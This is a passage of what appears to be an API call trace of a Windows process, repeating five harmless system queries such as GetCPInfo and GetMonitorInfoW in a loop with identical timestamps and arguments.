lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.719] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.720] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.720] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.720] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.720] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.720] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.720] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.720] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.720] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.720] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.720] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.720] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.720] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.720] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.720] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.720] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.720] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.720] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.720] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.720] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.720] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.720] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.720] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.721] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.721] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.721] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.721] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.721] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.721] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.721] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.721] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.721] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.721] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.721] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.721] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.721] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.721] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.721] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.721] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.721] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.721] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.721] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.721] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.721] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.721] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.721] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.721] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.721] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.722] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.722] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.722] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.722] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.722] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.722] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.722] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.722] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.722] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.722] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.722] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.722] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.722] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.722] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.722] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.722] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.722] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.722] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.723] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.723] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.723] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.723] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.723] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.723] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.723] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.723] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.723] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.723] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.723] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.723] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.723] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.723] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.723] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.723] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.723] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.723] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.723] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.723] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.723] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.723] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.723] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.724] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.724] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.724] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.724] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.724] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.724] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.724] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.724] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.724] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.724] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.724] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.724] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.724] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.724] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.724] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.724] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.724] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.724] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.724] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.724] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.724] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.724] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.724] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.724] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.724] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.725] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.725] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.725] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.725] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.725] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.725] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.725] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.725] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.725] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.725] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.725] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.725] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.725] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.725] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.725] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.725] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.725] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.725] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.725] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.725] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.726] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.726] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.726] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.726] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.726] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.726] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.726] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.726] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.726] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.726] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.726] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.726] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.726] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.726] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.726] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.726] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.726] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.726] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.726] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.727] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.727] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.727] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.727] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.727] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.727] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.727] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.727] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.727] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.727] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.727] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.727] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.727] 